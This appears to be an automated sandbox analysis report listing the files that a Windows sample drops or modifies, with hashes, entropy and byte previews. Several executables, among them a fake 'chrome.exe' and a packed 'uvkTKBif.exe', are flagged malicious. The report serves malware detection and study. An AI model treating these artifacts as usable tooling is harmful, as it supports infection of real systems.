Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\edd7c151-5220-48e3-bb73-157525178da9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44592
Entropy (8bit):	6.095799656308446
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBjwuDhDO6vP6Ompnt/oXvNOFcGoup1Xl3jVzXr4CW:z/Ps+wsI7ynE26GltHchu3VlXr4CRo1
MD5:	860F6DACAED5518B8F43BBB997B361F1
SHA1:	3228667922BC75C1540CB7CEB29C15C0C19A5392
SHA-256:	26AD9939F5D9B545C3C28393017402D718F84D652D82882E0D1DA02AAC74F877
SHA-512:	FFAAFC3A67F2A6EE98D46FAE2343AF130D54E425A73ADF3F5C91C94A69D536D365C73EEF0EBF5FFC57841D57BFA0D425CAD113BEF7F717E0A12DBBBDDAAB74B6
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\f5d86c31-f4b5-4632-9bac-674117751851.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44592
Entropy (8bit):	6.095799656308446
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBjwuDhDO6vP6Ompnt/oXvNOFcGoup1Xl3jVzXr4CW:z/Ps+wsI7ynE26GltHchu3VlXr4CRo1
MD5:	860F6DACAED5518B8F43BBB997B361F1
SHA1:	3228667922BC75C1540CB7CEB29C15C0C19A5392
SHA-256:	26AD9939F5D9B545C3C28393017402D718F84D652D82882E0D1DA02AAC74F877
SHA-512:	FFAAFC3A67F2A6EE98D46FAE2343AF130D54E425A73ADF3F5C91C94A69D536D365C73EEF0EBF5FFC57841D57BFA0D425CAD113BEF7F717E0A12DBBBDDAAB74B6
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{1BDF65F2-A64D-11EF-8C2C-ECF4BB570DC9}.dat

Download File

Process:	C:\Program Files\Internet Explorer\iexplore.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	5632
Entropy (8bit):	2.0417623231498006
Encrypted:	false
SSDEEP:	24:rYGo/QxlFlGW/llFOlF8ZlF69lW8v/9lW8:rYGo4bGWph8v+8
MD5:	4C5CAD319F364F09A8910349C99BE3BE
SHA1:	F3D5FF7533D5EF460EC114622F005B88C766FC2E
SHA-256:	58DA28F260F75B0363D81C4E6E231FA6CD16F8F72D01510373ED13BD44F9C0F2
SHA-512:	F57A4C2467315CCE48E83D47957E070996C3E8755DB4DB090C7ABA77F3C753A6EF5BCDBE25BC52823E2C9529954A15520B1ED252240F7A8F735D37CB8FF94E57
Malicious:	false
Preview:	......................>.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.........................................................................................P...Y:................K.j.j.a.q.f.a.j.N.2.c.0.u.z.g.v.1.l.4.q.y.5.n.f.W.e...........8...............................................................F.r.a.m.e.L.i.s.t.......................................................................................................0.......O._.T.S.8.2.X.f.G.0.2.m.7.x.G.M.L.O.z.0.u.1.c.N.y.Q.=.=.........:.......................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{1BDF65F4-A64D-11EF-8C2C-ECF4BB570DC9}.dat

Download File

Process:	C:\Program Files\Internet Explorer\iexplore.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	1.8824255671073078
Encrypted:	false
SSDEEP:	12:rl0oXGFGrEgm8GE76FMxrEgm8GE7qw9l4+rg0tnRYCDAul6P9l4+rg0tnRYCDA3E:rNG8xxG8F9l28nOBuW9l28nOB3
MD5:	608CEBD281D065100C6866DE0238CA13
SHA1:	01867262C365DB8B3A3F3D70B6EB041FF5EB9ADB
SHA-256:	AE80156369ED838400AF5A00D41FC270764C84ABA00021BE08D126EE0BF88C86
SHA-512:	66EFF873623C9D82709623D7E469B30326E1829849BEFCA04C041617102A99747AB77F7EA894319448A16373C96324116D5845C51DB4A39F54A167029250B61B
Malicious:	false
Preview:	......................>.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.........................................................................................0L..Y:......@.........K.j.j.a.q.f.a.j.N.2.c.0.u.z.g.v.1.l.4.q.y.5.n.f.W.e...........8.......................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.843371921377817
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxCKxl9Il8uwhc87fHvcL2wDd1rc:mZOYYc87fEip
MD5:	BB041FDF2BEBAC3F457CFFD46836C8C9
SHA1:	1AFA59552474353D2861CB8DD2DF4C3F3FAB06DC
SHA-256:	262B7EFF712C7C474884917C6D3F01EA9142EBE8776CE402DA13D1EEE9F81DF8
SHA-512:	080E3DF8DFEBC1E20AD494D06247486D102C613176057F1B3196790852487F4BCB7F7E12A383DC8ADE0A54B206F4FBB4B4994811C2D5987253EFB17F4E39CA20
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.P.A.x.S.G.I.6.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.1.D.t.5.R.t.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	4.0045899410925365
Encrypted:	false
SSDEEP:	48:uiTrlKxExOxD9Il8uc0hzSq1qJMn4J8LpwP+x623wwqSodzkUUF7BJQGYD9Fwsh/:EYW091qImod3EdIXfuQbd0thDQKPFD
MD5:	C50258C83B873874A913C27A8F7A3F7B
SHA1:	0DCA33B85982C38DA60F2A956E40726765CFAA9A
SHA-256:	3641EA7BE3A6BF90A7CA7B6D92345CBED3B1F4CA829505F5DCD891B0AFD25EB5
SHA-512:	2F572C2C6FA6C85DC1EAA13A3424D30D3BC528A620921D2B5954A1B446E120FE17E0456084436D4EED2D801996A328FCBE73A6B8675DDB4EBF3B02A9D9338DA1
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:."./.5.U.x.L.V.o.6.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.1.D.t.5.R.t.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.9001571571622833
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xnxl9Il8uc90pE6wj0GRxrx0MMHX91lq9DvGld/vc:apYm0pDwYwrDM391lqhvX
MD5:	761FE8E457E793C809F08154E8AA4F5D
SHA1:	C1C281836C23265B7AE866204D24FE40064CFB77
SHA-256:	8403B729515B10CBC01DEDE86C510B9ED28DD58DBE67B042E01A9E9CD288D469
SHA-512:	0A23A58CC2CBC9428EE3A1C5C837884186612D72D96CF9A80A3EA728AA53A4A36F083D59BEDB0F1E8B7CBDC368FEC95CED31BCE232C54C79648776BA018D58CA
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".i.V.U.+.X.S.t.Z.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.1.D.t.5.R.t.

C:\Users\user\AppData\Local\Temp\3582-490\#U65b0#U7248#U7f51#U5173Srv.exe

Download File

Process:	C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	7.30033888451297
Encrypted:	false
SSDEEP:	1536:yxqjQ+P04wsZLnDrC5MXL5uXZnzEDjGCq2iW7zef+hzRsibKplyXTq8OGRnsPFGj:zr8WDrCawnYvGCHymROzoTq0+RO7N
MD5:	64956BF404C5ABAD670A958C45ECE564
SHA1:	2C071527C691EB001777ABAAD5B9D5C7CA7C1B53
SHA-256:	90DD057AC1BDEC6B27174681B857AF28E2DDD05F84B7536EECD28CF6CC1A1189
SHA-512:	F636CA0287BF8778D2ED575E4971BA9B158A3636BA6A44B78F4F6978B3CC6ED1575D1878928458D2AF00811E30429EB36DDA49B8570CF8449FE97A8DD9032BB9
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Users\user\AppData\Local\Temp\7b387f14-21f8-4004-ba62-c9fab63d7c98.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 276634
Category:	dropped
Size (bytes):	242356
Entropy (8bit):	7.991210403664034
Encrypted:	true
SSDEEP:	6144:nvRDe2ei//LiBCNBs4vIVeMRhzb6d0X7ayNC:nde2edcbveZRFW0X2yk
MD5:	B73A9C52EF76DD9F575BDCF919B05902
SHA1:	A7ED2E7B5F85D6E502B538FDEBD91343D811E55A
SHA-256:	EF05EE3FA07D46FDDD88DA7760509F7BA658D3A9A5696004404F5A128349B323
SHA-512:	01EB2E462F3EDE544A66C0EEABA9172B668B6EA20D2FEF5A3DD2217E60ED42F70523F194B8901A48CDA3E55E1F65A14BAB2FBE3B34D2CB410B1939B9BB7B4CBC
Malicious:	false
Preview:	...........}.w..._..W.2...W.N&....I..k..'@..Y...c...~K..3vB....#.K.........R.Q.%.4......+.r.M?.\....l....q......Xo\..6.u..q.i.[V_...u..M0...LK......)KcyM.<#....q.$..n<..f5.'..V3oY.v.....k....f.kul...F..4.^..^.(r}.k..[...?.....Y..K.9.VZ..r.c.m..wL.n....L+7.fnY..j.r..v..;P..Xz....~..;....yO3.P.`.]H2u...]...zV....[..m...v;...6.....8.._.l...;NK..W.4...G.....4...>..F.xl.Z..B?.zAcZO.....VI.(}f..j.k..)._...z.72-h.Fj....o.WB..~.gO..5-da+PW....H..n......q......W..5.C.+m..u.~.<.....E.uf?.?...3.......$@+......Z..6..4...&..Mz..W..~...V-}@'.w....t..nx..,.....0b.:QR'..W\|#2b.....3}....wP.5.n..j.&...8q-H#O4.{/..G.....%.@(.&...M.5X,3(.d.L3~[.Yp.^.m../4...OB..u .=.7...:.N.k.m......... T..6!8......._. ..?..<...v...X.F.....<,....01.+...H.'....<...E......O..%P..-HH[M.......1[.7@H....eBJw.\|....x.....i.....i.&.B.A.L.l..T...6..z....4).Y.F.%.>.o.a6{vw.=..F....e..e\|.i.4.n.O-.1.FK.Z+..x@..$...?..C.....t....>...O...n.mN{.R .@.uNG...p.TT......9#=.z.j.....Oa..S.a;.

C:\Users\user\AppData\Local\Temp\chrome.exe

Download File

Process:	C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	182272
Entropy (8bit):	6.778841629892176
Encrypted:	false
SSDEEP:	3072:zr8WDrCe7WLuzeHpl18fCtnRPF9EVnb43jaI5gr/uHqZLWfp2KkvL5kdnQB:PueqmCtnRPF9cCGr/uH0gkSdQB
MD5:	D307A8D049BC1C09C5C3B972F3609FD3
SHA1:	D84D853F3BD3E3DADFE2CB5E4A294B83780A3F3D
SHA-256:	C8FB712D11C1F2AE2BC71F58C2D859B0F2F45AA9ED88F6C9F42E89217D03DF48
SHA-512:	7D3DE68A9DC7AD364B0E8A37F8A56E556FF774537FDF93AF869BEA4CD14DDD3C0205BD74FBDD66FCDAB5F1FA6E9D5F10F3C8C66D99BF5235109DE51975A2BF7F
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	2217
Entropy (8bit):	5.416163523412182
Encrypted:	false
SSDEEP:	48:Yzj57SnaJ57H57Uv5W1Sj5W175zuR5z+5zn071eDJk5c1903bj5jJp0gcU854Rrg:8e2Fa116uCntc5toYKQTKDTQTkOM
MD5:	D7D8C2AD7F421EFB8EE584E3E1FC4AAA
SHA1:	F75B162D8E73CCF0E16886560BE7E7E1CD42626C
SHA-256:	E7F88E9DDDF1FE0A97FAB90A14980E4F8C21451B59A91E58682BEDEE81DD6709
SHA-512:	8D78A75AC8F9DE2DBF4B8769D7C51C185850D3FC086351F31B868B2E686807900B1F1C463D6D8E7547E297E7C318F22A53607B7748ADF1B098E43BEB2127D227
Malicious:	false
Preview:	{"logTime": "1004/133448", "correlationVector":"vYS73lRT+EoO2Owh9jsc+Y","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"n/KhuHPhHmYXokB31+JZz7","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"fclQx26bUZO07waFEDe6Fn","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"0757l0tkKt37vNrdCKAm8w","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"uTRRkmbbqkgK/wPBCS4fct","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"2DrXipL1ngF91RN7IemK0e","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"d0GyjEgnW85fvDIojHVIXI","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"PvfzGWRutB/kmuXUK+c8XA","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"29CB75FBC4C942E0817A1F7A0E2CF647

C:\Users\user\AppData\Local\Temp\tmp5023.tmp

Download File

Process:	C:\Windows\svchost.com
File Type:	data
Category:	modified
Size (bytes):	8
Entropy (8bit):	3.0
Encrypted:	false
SSDEEP:	3:5q4n:5pn
MD5:	6C51ED77908689D40522D3F2E488284A
SHA1:	8B40193A48ADF47DA8A18F48CCE3DF65E2D512A4
SHA-256:	D39487C933CC48B8018C253536A4D36FD1D4E569873636CBDB4AA6AA81993132
SHA-512:	6CFDE4A77B79E6FEBB41AA2ECBE45CA22036320CB6940FC700E2ED59EF258DD6F35939F7B5737DC3274879EB8F83F5CC677021E5886FCDF5AB36D7C7826EC8EB
Malicious:	false
Preview:	3..B..&A

C:\Users\user\AppData\Local\Temp\uvkTKBif.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\#U65b0#U7248#U7f51#U5173Srv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	15872
Entropy (8bit):	7.031113762428177
Encrypted:	false
SSDEEP:	384:7XZQaD7U8iu4YsAa7ZA0UvH2lsRv21yW7GbAxur6+Y9PffPz:1QGPL4vzZq2o9W7GsxBbPr
MD5:	56B2C3810DBA2E939A8BB9FA36D3CF96
SHA1:	99EE31CD4B0D6A4B62779DA36E0EEECDD80589FC
SHA-256:	4354970CCC7CD6BB16318F132C34F6A1B3D5C2EA7FF53E1C9271905527F2DB07
SHA-512:	27812A9A034D7BD2CA73B337AE9E0B6DC79C38CFD1A2C6AC9D125D3CC8FA563C401A40D22155811D5054E5BAA8CF8C8E7E03925F25FA856A9BA9DEA708D15B4E
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......z.I.>.'.>.'.>.'..7\.2.'...(.?.'.>.&.y.'.Q.#.=.'..).?.'.7...6.'.7...?.'.Rich>.'.................PE..L...JG.R.............................`.......0....@.......................................@..................................p...............................o.......................................................................................text.... ..........................`....rdata.......0......................@....data........@......................@....reloc.......P.......(..............@....aspack.. ...`.......,..............`....adata...............>..............@...................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF05059F000B2EC16B.TMP

Download File

Process:	C:\Program Files\Internet Explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08152792203927231
Encrypted:	false
SSDEEP:	3:aTxRtclVmwRtGglclllv/nt+lybltll1lRsltFll2/lsllrRtqu4RtT:gxRWP3REgUFAl3+tsjRd4R1
MD5:	0144CB4CF09D0CD07F31DA4CE5F2EBD1
SHA1:	7ABBA39A9F9D3767EAD9A7D12675CD83924A688F
SHA-256:	28550D2975B37272DACF0D086BA92C6BBB31536AFF855482DDD42CD7268A1D06
SHA-512:	96F337B28F6D2B7296DAC85A6A938553E80160F6054BE083DC1860518CC829177516B17660B144AA462BDD3DDF669396470EF0FE43EDC3457E45AE3990551A3F
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFD256C6F3EB21FAA2.TMP

Download File

Process:	C:\Program Files\Internet Explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.09647626979841292
Encrypted:	false
SSDEEP:	3:alFXEAUolllrllvE3lX9/Dl/OlyvlnPlgJl9llRsltFll2/lsllM/llQllblRfRO:a/vll4f2rgl3+tsMGVEBf5YCDAmbCl6
MD5:	47FF5520411079496AC00E48A160369D
SHA1:	F2B44EA5D6205304D6E20CD5F2DDDEBC0A79C1EB
SHA-256:	17D2A55216F4E19307F479BD74D1198DD67681A67B06E6DABD536F08FB18CB94
SHA-512:	923CBD677039AC1BF4A36830533A7BBC2AEC3AA106410CF650D8D8C0DBA592ACB0ACEEC61F50D62EC9F1C8789515A3003998E8C90A303B15F59D6CEDB96C9D90
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.421496316511648
Encrypted:	false
SSDEEP:	6144:pSvfpi6ceLP/9skLmb0OTGWSPHaJG8nAgeMZMMhA2fX4WABlEnNN0uhiTw:gvloTGW+EZMM6DFyn03w
MD5:	FCD0A0077F6262ED0B9AABDB0CD1DA0E
SHA1:	958C06D69C1A62C0EEAD079C562DF3037EBC9D9A
SHA-256:	2B70A0A68F1985397506F62A470D659963FF9343919FEDA9AAE180ABDAAA0DA7
SHA-512:	7A5DDBD122A13CAE523734D96CE80DA9BEA1CC2A02A5DD8E4102B5503B5E7B12BCE47EE52A7BABC42B42849D50B0BA79435AA312A373BEC461D245D5D0733A82
Malicious:	false
